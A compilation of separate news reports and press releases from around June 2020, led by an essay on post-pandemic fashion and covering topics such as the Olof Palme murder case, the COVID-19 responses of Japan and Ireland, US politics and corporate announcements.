It is a truth that may be hard to imagine in a world devastated by illness and economic insecurity, riven by racism and unrest, but we will get dressed again.

Dressed not for the anonymity of the hospital or the essential workforce, the heat and heartbreak of the protest, the anomie of the supermarket or the park, but for the next stage catharsis. Capital D Dressed. It is both history and human nature.

We will come out of this, like we come out of a war, said Li Edelkoort, a trend forecaster. The buildings are still there, but everything is in ruins. We will want two things: security and to dance.

We will be aching for something new, to refresh our personalities, she said. Eccentric clothes, romantic clothes.

And that is why, after months in which the death of fashion was proclaimed loudly and regularly, a week when it was once again forced to confront its own role in preserving inequality, the motor of the industry has begun to shift into gear once more, in Europe and Asia if not yet in the United States, where stores remain nailed shut.

Thus far, there has been a lot of focus on the system. A lot of anguish about the need for change and angst over shopping. Will anyone ever want to do it again?

Its the wrong question.

What we should be asking is: When we reengage with a world pockmarked by pain, and see one another  from more than just the shoulders up  what will we want to wear?

It sounds ridiculous: Who cares what we will wear when there has been so much tragedy and economic destruction, when old wounds left to fester have been gashed open once again? But the root of that question is as cyclical as history: What will our postcrisis identities look like?

The question of clothes

What will we want our clothes to telegraph about who we have become, and what these complicated experiences have meant? It is the answers to those questions that will pull us into stores again. It is the answers to those questions that will get factories humming again  much more so than interim safety precautions or the changes in fashion shows and clothing deliveries currently being mooted by industry insiders.

Not that theres anything wrong with those changes; many are laudable, if still in draft form. The fashion circus is a creaky circus and in need of an update  not to mention even more meaningful grappling with race and representation in hiring and supply chains. Shows will be entirely digital at least until September, if they happen at all this year. (Many designers  Dries Van Noten is one  think not.) The British Fashion Council and the Council of Fashion Designers of America together published a statement effectively urging an end to the travelling precollection extravaganzas.

Open letters to the industry have been issued, signed by a variety of retailers and mostly independent designers, pledging allegiance to a right-seasoning of store deliveries so that coats are sold when it is cold, bathing suits when it is warm, and sales take place after the big gift-giving seasons, not before.

And speaking of stores: They are reopening (or were, until they became fearful of damage from the protests), with hand sanitizer stations, social distancing, plexiglass protection and regular disinfecting. Still, the retail bankruptcies keep coming, the numbers get worse and worse.

Its not going to be a need for more leggings that solves that problem; those we can get online. (And besides, hasnt everyone realized that what we need is elsewhere?)

Its going to be the irrational, emotional pull of a  something. The gut punch of recognition that comes from seeing a new way to cast your self<em>.</em> One that signals: Yes, I have changed. Yes, things are different. Now we emerge in a new world.

Its on fashion to define that something, because that something is going to be how history remembers whatever happens next. It will do what clothes always do, which is symbolize a moment, and give it visual shape. What that shape will be is the existential question facing designers right now.

But heres a bet: Its not going to be sweatpants. Its not going to be the all-black patchwork of the antifa or the Hawaiian shirts that have been co-opted recently by far-right anarchists.

The end of (fashion) history

Right now, the news is full of intensity, just as previously it was full of Crocs, of speculation that after months of living with elastic waists and stretchy fabrics, we will never go back. That just as white-collar workers will never return to old office life or old office schedules, they will never return to old office dress and the social order that signified.

That may be true, and though its possible that this really is the end of fashion as it has been defined and disseminated by the esthetic empires of the West  that Newtons third law of motion no longer applies; that the Marxian thesis-antithesis-synthesis cycle that has powered our clothing choices for decades is over  it probably is not. If I were one of the companies currently crowing about being the it brand of the WFH wardrobe, or trying to clothe the uprising, I would not be resting on my laurels.

It is even more likely that we will develop some sort of Pavlovian association with the clothes that became the uniforms of our isolation and our impotence; that to see them will send us subconsciously down a wormhole to the pandemic; that what we will need is exactly the opposite.

Thats what the past teaches us anyway.

Times of great trauma also produce moments of great creativity as we attempt to process what we have been through. The functional side of that is fashion. After periods of extremes  war, pandemic, recession  dress is a way to signal the dawning of a new age.

One of the most obvious examples of this, said Jessica Regan, the associate curator of the Costume Institute at the Met, is the period after World War I and the flu of 1918, when the lavish embellishment and physical liberation of the flapper era and the Harlem Renaissance emerged. Think, too, of the Dior New Look of 1947, which, with its acres of skirts and tiny waists, served as a direct riposte to the privations of World War II and the Depression. (It was, literally, a new look for a new time.)

A similar transformation took place after the bubonic plague swept the world in the mid-14th century. Valerie Steele, the director of the Museum at the Fashion Institute of Technology, noted that the scourge gave rise to the more body-conscious dressing, plunging decolletage and lavish adornment in Europe that came to characterize the well-off of the Renaissance. A symptom, perhaps, of people seeking pleasure while they could, Steele said.

As recently as the mid-1970s, the oil crisis and the resulting recession gave birth to discorama and the explosion of colour and tactility that was the Yves Saint Laurent Ballets Russes collection. The financial crisis of 2008 led, a few years later, to a backlash to the backlash and the luxury logos that dotted garments with the ubiquity of daisies in springtime.

This is not necessarily a sign of indulgence. Its a statement of belief in the power of beauty to lift the spirit. Fashion is created for the future, and that implies faith in that future.

It suggests, said Jonathan Anderson, the designer of Loewe and of JW Anderson, who recently went back to his Paris office for the first time since his Loewe show in February, that we are nearing a time that demands utopian fashion. Volumes and colours that are completely out there.

We will want beautiful things, Alessandro Michele, the creative director of Gucci, said in a recent Zoom news conference. The bamboo handle bag was created after World War II. It was a time of the rebirth of beauty.

That also raises the stakes for an industry that has increasingly treated itself and what it makes as disposable. People may buy clothing that celebrates frivolity. But that is not the same thing as buying frivolously. Especially when money and where you spend it can make a political statement.

Redefining value

This has taught us that we dont miss stuff, Pierpaolo Piccioli of Valentino said via Zoom. We miss people. We dont need another T-shirt exactly the same. We need something that delivers an idea, a culture. Something that communicates a sense of the hands that have touched a garment, the imagination that has created it, the effort that has gone into it.

No one is going to rush out to buy a whole new wardrobe, nor are we likely to see the revenge buying in China that sparked what was reportedly Hermess best sales day turn into a trend. Indeed, analyst reports from Bain and the Royal Society for the encouragement of Arts, Manufactures and Commerce have found that people say they expect to buy fewer clothes, though not necessarily to spend less. There will be, said Lucie Greene, a consumer insights strategist, a certain amount of shame associated with having the extra income that allows for buying new clothes.

The continual desire for newness for the sake of newness will feel very inappropriate, she said.

As in 2008, when stealth luxury became a part of the vernacular and logo-a-gogo fell into disrepute, overt displays of wealth will probably be toned down. (Piccioli said he had already moved away from the logo.) So will the immediately identifiable decade-referencing trends that labelled clothes so 1980s, so 1990s. But, Greene said, a beautiful piece that can be worn for multiple reasons for multiple years? That will be important.

When going to a restaurant for the first time in a very long time, or having a dinner party with friends becomes an event  when, as Anderson said, everyday moments become bigger  the occasion will demand a costume to mark it. And if a dress (or a suit) becomes a totem of change, then it is not a casual purchase or one to be thrown away later.

I have a feeling that the things we make have a longer life than the one we have allotted to them, Michele said.

For years, fashion has fretted about the meaninglessness of its seasons, partly because global warming and globalization rendered them null and void and partly because there were so many collections, they couldnt be temporally defined. (Pre-spring, after all, is simply  winter.)

Now it is actually in everyones interests to jettison them entirely. Timeless fashion is fashion that holds its value and can be worn and reworn. It can also be sold and resold. It does not become passe in a matter of days. This may mean that fewer garments are made and bought and shown. It may mean a contraction of volume that will affect manufacturers.

In the short term this could be painful, though the short term is already full of pain. In the long term it will help solve problems, including that of sustainability. (Eco-materials are good, but fewer materials staying in our closets longer is better.)

As Greene said, disaster often accelerates, exponentially, the macro trends that predate its arrival.

Beyond the retail carnage

One of those trends was the importance of experience. But what does that mean?

When I first moved to London, back in the late 1990s, everyone who visited me wanted to go to Topshop at Oxford Circus. It was up there on the tourist wish list, along with the Eye, Parliament, Buckingham Palace and Harrods. Then Topshop went on an international push, opened in New York, and  no one really cared anymore.

The store had seemed to thrum with the energy of the city at that time. Its theatre wasnt art experiences on the walls or an in-house DJ, but watching other shoppers try on new identities in the group dressing rooms. The performance involved was the performance of being us.

Somewhere, in chasing the e-commerce promise of any product available at any time and in expanding locations to every street corner, that was lost. If one store was good, 10 would be better. Fifty. Two hundred, all around the world. They became a utility, like Amazon and Walmart. And then, when they were forced to shut their doors, they became a liability.

After all, if there is one thing we probably know after not shopping for a few months, it is that no one needs to leave the house to shop. There has to be a reason to push through the doors. And the idea of wandering lonely as a cloud through a socially distanced plexiglass-lined emporium is not it, especially if the socially distanced plexiglass-lined emporium on the other side of the street is pretty much exactly the same.

What stores should be is a destination: the embodiment of the history, society and culture of a city. This implies a certain singularity: the magic of one that still draws people to Harrods, to Bergdorf Goodman, to Le Bon Marche. The purchase is the souvenir of having been there, in those halls, on those escalators. With each other.

It implies the human connection, which is why certain boutiques  Capitol in Charlotte, North Carolina; Ikram in Chicago; Amarees in Newport Beach, California; Merci in Paris; Corso Como in Milan  were for so long magnets for so many (and probably will be again). The idiosyncratic taste of their owners, their conversation, cannot be replicated by an algorithm.

When designers talk about these proprietors, they talk about their belief in their work. About faith. When customers talk about them, they talk about discovery and emotion. Which are reminiscent of the kinds of words Edelkoort used when she talked about whats next, like craft and intimacy.

In a recent letter to his staff, Jean Touitou, the founder of APC, noted that he had considered simply closing his stores in March  that he had done enough and there was no reason to struggle on. But, he wrote, the period that is opening up right now is a revolutionary period in which everything can be reinvented. He realized, he said, I want to continue to make fashion.

In Rome, Michele said he was discovering new ways of being creative, new ways of working. He is planning to call the last collection he designed before the pandemic Epilogue, in acknowledgment that it is the end of an era. The next one? Possibly Overture.

In Nettuno, Italy, Piccioli was talking about the work he had begun. We need to be more radical, more extreme in our choices, he said. Its interesting whats coming out.
Swedish prosecutors will announce on Wednesday whether they plan to press charges or close the investigation into the unsolved 1986 murder of prime minister Olof Palme. Palme was killed on February 28, 1986, after leaving a Stockholm cinema with his wife Lisbet to walk home, having dismissed his bodyguards for the evening. An unidentified attacker shot Palme in the back and fled, leaving the 59-year-old dying in a pool of blood on the sidewalk. More than 10,000 people have been questioned but authorities do not currently have anyone placed under formal suspicion. "Chief prosecutor Krister Petersson will announce his decision and speak about the investigation together with the head of the investigation Hans Melander," the prosecution authority said in a statement on Friday. Over the years, more than 130 people have claimed responsibility for the murder and the case files take up 250 metres of shelf space. Christer Pettersson, a petty criminal and drug addict, was convicted of the crime in July 1989 after Palme's widow identified him in a widely-criticised line-up. But he was freed months later by an appeals court which dismissed her testimony on a technicality. Pettersson died in 2004 while Palme's widow passed away in 2018. Over the years, investigators have suspected Turkey's Kurdish rebel group the Kurdistan Workers' Party (PKK), the Swedish military and police, and the South African secret service among others. Petersson took over the investigation in 2017. Experts and Swedish media have in recent months suggested that the most likely scenario would be that the case will be closed, because the main suspects speculated about in the media in recent years are all dead. Palme, a Social Democrat known as a great orator, was a controversial figure who infuriated Washington with his vocal opposition to the US war in Vietnam. He also backed communist governments in Cuba and Nicaragua, and spoke out against apartheid and nuclear power. His murder sent Sweden, normally a tranquil and safe country, into shock. Palme was a controversial figure who infuriated Washington with his vocal opposition to the US war in Vietnam
#LaSaludNosUne | Reforzamos nuestra capacidad de atencion para enfrentar al coronavirus. El nuevo Centro de Atencion y Aislamiento #COVID19, ubicado en el hospital Hipolito Unanue, contara con 100 camas que estaran al servicio de los pacientes. pic.twitter.com/Nis4d6tTsA
WASHINGTON  In New York's 21st District, Democrats and Republicans are at loggerheads after President Donald Trump threatened to use the Insurrection Act this week and called military troops from Fort Drum, New York to the Washington, D.C. area for possible work responding to protests.

The debate has drawn U.S. Rep. Elise Stefanik, R-Schuylerville, former Rep. Bill Owens, D-Plattsburgh, and Democratic candidate Tedra Cobb, into a vitriolic spat as the country bubbles with social unrest and anger after the death of another black man during an encounter with police.

Stefanik has defended Trump's forceful "law and order" approach to combating looting and violence that have followed some peaceful protests. Trump's administration has filled the streets of Washington, D.C. with unmarked federal officers and brought military troops to the region for possible back up. He has encouraged governors to increase their use of their National Guard to "dominate" the streets.

"I believe President Trumps call for law and order is critical for our safety and security, and I support the National Guard helping our law enforcement officers address the rioting, looting, violence, and inhumane loss of life," Stefanik said Thursday. "At this point, Secretary [of Defense Mark] Esper has said there is no need for active-duty troops to be deployed to our communities, and I trust his judgement  however, it is important to note that these active-duty troops are on standby should our homeland security deteriorate."

Cobb, now challenging Stefanik, decried the movement of the 91st Military Police Battalion from Fort Drum to a military base in the D.C. area earlier this week. The troops  along with others from Fort Bragg, N.C.  have not yet been used to respond to protests.

"Policing American streets isn't the job these brave men and women signed up to do," Cobb said. "We can have law and order without shredding the constitution."

Protests have formed across the country for more than a week after George Floyd died on May 25 under the knee of a now former Minneapolis Police officer who is charged with his murder. The majority of the protestors have been peaceful, but many individuals have used the demonstrations to commit crimes of violence and loot.

Trump said earlier this week he could rely on the rarely-used Insurrection Act to send military troops to states where he felt local law enforcement response to the protests was insufficient. Since then, his administration has backed off the idea, but the proposal has created a stir in Washington, where politicians of both parties have urged that such a move should only be a "last resort."

The presidents reliance upon the Insurrection Act of 1807 appalls me as a veteran and former JAG officer," said Owens, a former Air Force Captain who also did legal work for the military.

"Deploying active duty troops in a direct policing role is a violation of the Posse Comitatus Act of 1878, but more importantly it defies the spirit of the Constitution," Owens said. "That our congresswoman stands with the president on this issue casts a shadow over her from which she should not recover.

Stefanik's campaign spokeswoman fired backed.

Special Investigation 147 NY dams are 'unsound,' potentially dangerous Thousands of dams have not been inspected in over 20 years.

"We assume this is the same Bill Owens who never cracked 50 percent of the vote and publicly said Tedra Cobb is not a serious candidate?" said Maddie Anderson, Stefanik's spokeswoman. "Their statement is factually inaccurate, as the president has not employed the Insurrection Act. ... Its disappointing yet unsurprising that while rioters and anarchists are killing police officers, Tedra Cobb is desperately seeking political endorsements and speaking out against law and order."

The outcry from Owens followed an extraordinary rebuke of Trump by his former secretary of defense, Gen. James N. Mattis, who said the president's actions divided the nation and accused him of ordering the U.S. military to violate the constitutional rights of Americans.

Mattis's comments caused a stir on Capitol Hill Thursday because he is widely esteemed by Republicans and Democrats. Most notably, Sen. Lisa Murkowski, R-Alaska, said she was "struggling" over whether she supported Trump's re-election in 2020 after his remarks.

"I thought Gen. Mattis's words were true and honest and necessary and overdue," Murkowski said. "When I saw Gen. Mattis' comments yesterday, I felt like perhaps we're getting to the point where we can be more honest with the concerns that we might hold internally."

Asked about Mattis's comments, Stefanik said in a statement she supported Trump's call for law and order.

The heated race in the 21st District has often come to sharp words between Stefanik and Cobb. Stefanik has held the seat since 2015. Cobb also ran against Stefanik in 2018.
By Associated Press

TOKYO: Japan has kept its deaths from the new coronavirus low despite a series of missteps that beg the question of whether it can prevent future waves of infections.

Authorities were criticized for bungling a cruise ship quarantine and were slow to close Japan's borders.

They have conducted only a fraction of the tests needed to find and isolate patients and let businesses operate almost as usual, even under a pandemic state of emergency.

But the roughly 900 deaths, or 7 per million people, in Japan are far fewer than the 320 per million in the U.S. and more than 550 per million in Italy and Britain.

Prime Minister Shinzo Abe on May 25 declared an end to a 7-week pandemic state of emergency, lauding "the power of the Japan model" and winning World Health Organization chief Tedros Adhanom Ghebreyesus's praise as a "success."

Experts say it's unclear exactly how Japan has managed to keep outbreaks in check, but the country needs to use the reprieve to beef up testing and healthcare systems to better find, isolate and treat patients to minimize future waves of infections.

A government-commissioned panel concluded that early contact-tracing helped pinpoint outbreaks, slowing the spread of the virus until late March, when a surge of cases overwhelmed the extremely labor intensive process of investigating clusters of infections.

A campaign to get the public to avoid high-risk environments, dubbed the "three Cs," or close contact, closed settings and crowded places, also helped, it said.

"At a relatively early stage, we detected signs of infections and we were aware of how the coronavirus transmits. We were able to warn the people against the '3 Cs' from early on," said Shireru Omi, a public health expert and leading figure on the government task force.

"Japan could have been like (the U.S.or Europe) if infections had overshot at the beginning," he said.

Omi and other experts say widespread use of masks to fend off allergies and prevent sharing colds; the Japanese custom of bowing instead of shaking hands or hugging; a taboo on wearing shoes inside homes and a highly accessible, affordable public health system all helped.

Patients who were hospitalized benefited from Japanese doctors' heavy reliance on CAT scans and X-rays to diagnose pneumonia cases.

Researchers also suspect possible past exposure to other strains of coronavirus might provide some protection from the illness.

Or, Japan may just have been lucky so far, despite many missteps, some critics say.

Initially, hopes were high that Japan's system of public health centers, or "hokenjo," set up decades ago to track down tuberculosis and other infectious diseases, might be a powerful weapon against the pandemic.

Instead, gutted by steep staff cuts and restructuring, they became bottlenecks as they were flooded with tens of thousands of phone calls and testing requests.

Bureaucracy prevented commercial and university labs from helping, as some people sickened and died before their calls were even answered.

"A public health perspective was prioritized, and treatment for each patient was neglected," Michiko Sakane, a doctor in Tsukuba, near Tokyo, said in a recent article published by the Medical Research Information Center.

"We had to keep asking patients with flu symptoms to wait at home. We don't even know how many of them were positive," she said.

"We needed a system that allow us to test anyone who needed to be tested."

Infections spread in hospitals, as meanwhile emergency rooms often rejected suspected COVID-19 patients due to shortages of protective gear, ventilators and intensive care beds.

The handling of the Diamond Princess cruise ship, on which 712 of the 3,711 people aboard gradually fell ill while being quarantined in the Yokohama port, triggered criticism that Japanese health officials had turned the vessel into a virus incubator.

Hundreds of those patients flooded into hospitals just as the pandemic was gaining a foothold in the Tokyo-Yokohama region.

Other passengers were eventually evacuated from the ship without reports of secondary infections.

Officials say tests were rationed to avoid overwhelming hospitals, since health ministry policy initially required hospitalization of all positive cases.

Officials later agreed to isolate asymptomatic or mild cases in hotels.

Still, emergency medicine briefly collapsed, said Takeshi Shimazu, head of the Japanese Association for Acute Medicine.

"If we had a bigger outbreak, we wouldn't have been able to cope."

By early June, Japan had tested some 254,000, or only 0.

2% of its 126 million people, a fraction of the numbers tested in the U.S., Germany and South Korea.
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PARIS  President Emmanuel Macrons government has beaten back the coronavirus, prevented mass layoffs, propped up the salaries of the unemployed, staved off long food lines, and achieved a lower death rate than its neighbors, Germany excepted.

Mr. Macron ordered a strict lockdown that lasted nearly two months, and when it was over the virus was barely circulating. But while the early response could be faulted for some sluggishness and a shortage of masks, and more than 29,000 people died, France has fared better than many in the pandemic, especially when compared with the United States, Italy, Spain and especially Britain.

Just dont tell that to the French, who resent Mr. Macron for it more than ever.

The French expect much of their leaders, and almost always find them wanting. Mr. Macron is no exception. In fact, the better the results, the less willing, it seems, the French are to applaud their president. That pattern has held virtually since Mr. Macron took office in 2017, casting a shadow over a term expiring in two years.

Mr. Macron reduced unemployment and created more jobs, but the French resented him for loosening labor protections. He evened out the countrys helter-skelter pension system, and there were months of strikes by aggrieved unions and citizens distrustful of his intentions.
[June 05, 2020] Carebook named top SME employer thanks to unwavering commitment to employees

Putting people first is in Carebook's DNA, an approach that continues to drive

its employee initiatives during these difficult times MONTREAL, June 5, 2020 /CNW Telbec/ - Carebook Technologies has once again set itself apart by being named one of Canada's Top Small & Medium Employers by Mediacorp Canada Inc, mere months after being recognized as one of Montreal's Top Employers earlier this year. "It's incredibly rewarding to see that our people-first approach is once again being praised by an independent organization. Helping our employees thrive is just as important to us as helping our clients succeed. It's in our DNA", says Carebook CEO Pascale Audette of the fast-growing tech company, which focuses on creating digital pharmacy and clinic solutions to engage people on their health and wellness journey and offers pharmacies turn-key systems that bring key revenue drivers under a single application. "Our employees know that they matter to us as much as our clients do", says Audette. Given the current national health crisis, the company recently pulled out all the stops to make sure that its employees could work safely and comfortably from home. "Office chairs and computer screens were delivered to their homes and they were each given a special $150 allowance to spend on aything that would help keep them physically and mentally healthy, such as an online gym class, a subscription to a meditation app or even a plant to brighten their work space. Daily video meet-ups are held, and I make a point of offering words of encouragement and support as often as possible. In addition, those with children at home can work flexible hours. A virtual cocktail hour and a breakfast once a week have also been implemented to help alleviate feelings of isolation and keep our spirits up," adds Audette.



Carebook is committed to creating a great work environment, one that's based on trust and communication. Bi-monthly surveys and regular verbal sessions are held so that everyone can freely express themselves, which in turn fosters creativity and innovation. The two go hand in hand, says Pascale Audette: "Carebook is all about celebrating innovation, so it's important to build a culture of curiosity where people are safe to express themselves. That's when brilliant ideas can come to life". Carebook may be an SME, but it's not afraid to offer big business benefits. Its comprehensive plan includes a complete annual health assessment at a top healthcare clinic, a telemedicine app that provides 24/7 access to a health professional to the whole family and extra perks such as free flu shots and massage therapy. In addition, the company's Montreal headquarters are housed in a bright, modern space with lots of light, high ceilings and a big kitchen where employees can refuel throughout the day with healthy snacks provided by Carebook.

Having grown from a passionate group of five employees to a team of over 40 people as of early 2020, the company employs a diverse team of specialists in the areas of health, research, programming and development, game design, marketing and human engagement. They are always on the lookout for people who want to be part of a dynamic team that's building solutions and empowering people to take control of their health and wellness. That also means occasionally consulting experts in the field to help steer growth in the right direction, which is why the company recently established an advisory board.

New Advisory Board

Providing a great place to work also means ensuring that a business stays strong and healthy. Carebook's new advisory board will provide expert council and help keep its growth initiatives in line with the company's vision to stay at the forefront of the industry. The four members of the board, Julie Doucet, Chris Gardner, Marie-France Nicole, and Roger Simard are either pharmacists themselves or have worked in the pharmacy industry for decades. These brilliant business owners and top-level executives bring with them a wealth of expertise and experience that will be invaluable in helping Carebook validate its assumptions, understand the needs of pharmacies and pinpoint promising areas for product development. About Canada's Top Small & Medium Employers

Now in its 7th year, Canada's Top Small & Medium Employers is a competition that recognizes the small and medium enterprises (SMEs) that offer the nation's best workplaces and forward-thinking human resources policies. It uses several selection criteria, including physical workplace, work atmosphere and employee communications. About Carebook Technologies

Carebook creates innovative, digital pharmacy and clinic solutions. From a foundation of health expertise and a core, people-first philosophy, Carebook offers turn-key, modular, connected systems that can be white-labeled to increase revenue, engagement, and health outcomes. Learn more at carebook.com SOURCE Carebook

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Still, she warmed up to the idea of staying when a close friend showed her a plot of land in East Nashville, a more progressive part of the city, which was next door to his house. The second we stood on it, my husband and I looked at each other and said, This is what we should do next, she said. They are now building a house, which she is designing.

Mr. Holmes, the photographer, believes many New Yorkers who left the city at the beginning of the outbreak didnt give it a chance to address the crisis, stabilize and become livable again.

In March, I had a hard time leaving the house. My philosophy then was paranoia is prudence, Mr. Holmes said. Now we know a lot more about the risk of transmission, and I feel safe going into a store, or walking outside, or sitting on a stoop.

He also has faith, he said, that the current unrest in New York will not go on forever. I dont understand people who would consider leaving the city because of events that happen once every few decades and last for a matter of days, he said.

Stephanie Hodge, who owns a townhouse in Long Island City, Queens, has two tenants. One, a young couple, is leaving New York for good.

I am getting the sense that this has been a big shock for young people, said Ms. Hodge, 53, who works in environmental policy. Their decisions are different from someone who has been through disasters in New York City, and weve had plenty. Weve had Sept. 11 and we had the blackout in 2003 and then we had Sandy.

While some middle-aged New Yorkers might be weary of going through another transition, she said she is energized by the possibilities. Oh, my God, I cant wait to see what the next phase for New York is, she said. Just to see how work transitions will be fun. Our townhouse looks at a big glass wall of small apartments, and everyone is at their desk working from home.
The Bitterman family received a custom-built playhouse built by Security Engineered Machinery through Habitat for Humanity's Operation Playhouse in 2019 We are so grateful for SEMs support of local veteran families, especially during this health crisis when so many families are having a tough time surviving the economys upheaval.

Security Engineered Machinery Co., Inc. (SEM), global leader in high security information end-of-life solutions, donated $2,500 to the Habitat for Humanity MetroWest/Greater Worcester (Habitat) #BeamOfHope fund to support local veteran families in need during the coronavirus crisis. During a fundraising drive in the month of May, SEM employees pledged $1,250 and SEM provided a 100% match.

During the current pandemic, Habitat for Humanity made a plea for some desperately-needed funds, and SEM answered the call, commented Nicholas Cakounes, SEM Executive Vice President. Weve partnered with this incredible organization in the past, and wed hate to see this crisis leave them unable to assist veterans who are struggling to find or keep housing.

As a Veteran-owned company that supplies critical equipment to the Department of Defense and other government organizations, SEM is committed to Habitats mission of assisting Veterans. Since 2018, SEM has participated annually in Operation Playhouse, a unique program offered through Habitat for Humanity enabling local businesses and organizations to build and donate a custom playhouse to benefit the children of local veterans and military personnel. Habitats #BeamOfHope Crisis Fund was implemented as the organization is struggling for revenue amid a crisis where not many people are suited to donate due to the impact of the global coronavirus pandemic. SEM stands with Habitat in hopes they can continue serving those most in need.

We were honored to give to Habitat for Humanity as their non-profit does so much good for veterans who need homes. We hope this donation along with others helps them serve those who need it most and to survive this financial crisis, added David DiTullio, SEMs Vice President of Finance.

Deborah Huegel, Vice President of Philanthropy of Metrowest Habitat for Humanity, commented, We are so grateful for SEMs support of local veteran families, especially during this health crisis when so many families are having a tough time surviving the economys upheaval. SEM has been and is a wonderful supporter, and we thank them from the bottom of our hearts for being so generous! It will be put to good use protecting those who are vulnerable.

SEMs 2020 Operation Playhouse build, originally scheduled for this past May, has been postponed to October of 2020 due to COVID-19.
The health service is continuing to grapple with Covid-19 outbreaks in congregated settings including Direct Provision centres, nursing homes and meat plants, officials have said.

It comes as the head of the HSE warned that people are four times more likely to contract the disease when in close contact with a confirmed case.

Chief executive Paul Reid urged the public to strengthen our personal vigilance as the restrictions are eased over the coming months.

Mr Reid told the HSE weekly briefing at Dublin City University that while the number of coronavirus cases is declining, health officials are still working to manage outbreaks in Direct Provision centres, nursing homes and meat plants.

He said that at the end of last month there were 21 Covid-19 outbreaks compared to 49 the previous week  a decrease of 57%.

Dr Mai Mannix, director of public health, said there are now 1,054 confirmed cases in 20 meat plants across Ireland.

Expand Close Paul Reid and Anne OConnor gave an update to journalists (Leon Farrell/Photocall Ireland/PA) PA / Facebook

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The population affected are primarily young, 58% of cases are aged between 25 and 44 and most are male, she added.

She said she has particular concern in relation to one meat plant as the number of cases are still rising, adding that all staff may need to be screened.

Dr Mannix also raised difficulties around language barriers in contact tracing, adding that phone calls to some contacts could take between 30 minutes to one hour as translation services are needed.

She added that contact tracing is 90% in most cases across the plants but added there are difficulties in contacting all affected people.

A total of 21,000 people have been tested in Ireland, with a positivity rate of 1.7%.

The number of confirmed cases in hospital today is 130 which is a drop of 85% down from the peak in April, Mr Reid added.

85% of filled ICU beds are non-Covid-19 patients.

Many hospitals across our system now have no confirmed cases, and thats the way we would like to continue it.

The number of Covid-positive patients in ICU is 37 this morning, down 77% on its overall peak.

He told the briefing that hospital services are starting to reopen across the health system but warned that the HSE will need capacity, particularly as it prepares to deal with the winter period.

Mr Reid added that this years winter plan will have to be very different compared to previous years as it deals with both non-Covid and Covid patients.

He also said they have completed a turnaround time of two days in 82% of all cases, falling short of their 90% target.

We tested 322 close contacts and of these 24 were positive, Mr Reid added.

Thats a 7.2% positivity rate and this clearly demonstrates being in close contact means the chances of being positive is four times higher than a non-contact which is 1.7%.

Its clear and its important as people are identified as contacts that you come forward as theres a higher percentage of being a positive case.

We have to be assured as a country that we are keeping the virus under control. Colm Henry

He added that 87% of confirmed cases in contact tracing were asymptomatic.

It was also confirmed that the contact tracing app is almost completed and is expected to go to Government for approval later this month.

Mr Reid said it is currently being tested among gardai.

Meanwhile, Anne OConnor, the chief operations officer at the HSE, said that attendances to emergency departments is rising significantly.

She said: We are up overall in attendances by 3.1% this week. Where it becomes significant is the over 75s as we have now passed where we were last week.

The attendances of people over age 75 have gone up by almost 7% and that is now 3.7% above compared to last year.

We no longer have a challenge of people not attending aged over 75, we are now seeing more people attending than last year. Thats a very telling sign in terms of people attending and being admitted from our emergency departments.

Colm Henry, chief clinical officer at the HSE, said there have been fewer than 400 cases in the last week compared to 4,000 in one week in April.

We have to be assured as a country that we are keeping the virus under control, Dr Henry added.

The (virus) is almost completely extinguished within our society and we have to make sure we keep it at that level as we progress from phase to phase.
Source: Xinhua| 2020-06-05 21:34:30|Editor: huaxia

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LUSAKA, June 5 (Xinhua) -- Authorities in Zambia on Friday announced the phased reopening of higher learning institutions starting next week after over two months of closure due to COVID-19.

Minister of Higher Education Brian Mushimba said the universities and colleges will reopen on June 8, starting with graduating students who are writing final examinations this year.

He said the rest of the students must continue with the e-learning platforms as the government continues to assess the COVID-19 situation.

He told reporters during a press briefing that the decision applies to both public and private universities and colleges but added that reopening will depend on how prepared respective institutions were.

The institutions will be required to observe COVID-19 preventive measures once they reopen.

Among the measures include that students staying at campuses will be required to bring their own face masks, hand sanitizers and soap.

The government has also abolished overcrowding and has only allowed two students per room in the hostels.

The government has also restricted visitors to the campuses while social clubs and amenities will not be allowed.

"The approach to reopening will be reviewed to ensure students are not put in harm's way," he said. Enditem
BAKU, Azerbaijan, June 5

By Jeila Aliyeva - Trend:



Russia and Turkmenistan have discussed cooperation within the framework of international organizations, in particular the UN, OSCE and others online, Trend reports with reference to the Ministry of Foreign Affairs of Turkmenistan.



The Turkmen side was headed by the Deputy Minister of Foreign Affairs of Turkmenistan Vepa Hajiyev, while the Russian side was led by the Deputy Foreign Minister Andrey Rudenko.

A number of issues were discussed in the framework of bilateral cooperation. The parties focused on strengthening cooperation aimed at solving the problems caused by the COVID-19 pandemic. Russia and Turkmenistan have confirmed the activation of cooperation in trade, economic, cultural and humanitarian fields.



Both sides noted their commitment to finding ways to support stability, economic growth and security in the region and the world.



The important role of the intergovernmental Turkmen-Russian Commission on Economic Cooperation was noted. Parties also discussed development of the legal framework for cooperation between the two countries, including the implementation of previously reached agreements.



Earlier, the Ministry of Finance and Economy of Turkmenistan and the Federal Financial Monitoring Service of Russia have discussed partnership within the framework of the Eurasian group on countering money laundering and financing of terrorism (EAG) during a three-day consultative meeting.

---

Follow the author on Twitter: @JeilaAliyeva
(Newser)  Roger Stone is due to report to begin serving his prison sentence of more than three years on June 30. For most people convicted of crimes, that would be distressing. But President Trump suggested Thursday that his longtime adviser has nothing to worry about, the Washington Post reports. "Roger was a victim of a corrupt and illegal Witch Hunt, one which will go down as the greatest political crime in history," the president tweeted, before adding, "He can sleep well at night!" Stone was convicted in November of lying to Congress and sentenced to 40 months in prison, the last person charged in Robert Muellers investigation of Russian interference in the 2016 election.

story continues below

Trump's statement followed a tweet by a conservative activist saying that Stone "will serve more time in prison than 99% of these rioters destroying America," adding: "This isn't justice. RT for a full pardon of Roger Stone!" Trump shared Charlie Kirk's tweet and added his reassurance. The president has hinted at pardoning Stone before, Politico points out, including once in February when he said Stone in the end has "has a very good chance of exoneration." That same month, more than 1,100 former Justice Department officials called for Attorney General William Barr's resignation over his involvement in the Stone prosecution. (Read more Roger Stone stories.)
Employees of Woori Bank hold a meeting in casual attire at the bank's headquarters in central Seoul. / Courtesy of Woori Bank





By Kim Bo-eun







The finance sector has long been associated with sharp suits and a strict hierarchy, but more firms and institutions are joining the move to break down this stereotype.







Beginning this month, Woori Bank has eased the dress code for all employees, enabling a wider choice of attire other than suits.







The bank has noted at the same time that employees dealing with customers should be dressed in smart attire.







The measure is part of the new CEO's drive to innovate the culture and existing practices at the bank.







"We have decided to ease the dress code to align the bank with rapid changes occurring in this era that includes digitization and the growth of contactless transactions, as well as to revitalize the bank," Woori Bank CEO Kwon Kwang-seok stated in an email sent out to employees last month.







"We hope that this measure not only leads to more diverse attire but results in the transformation of the company into an innovative bank that does not fear change."






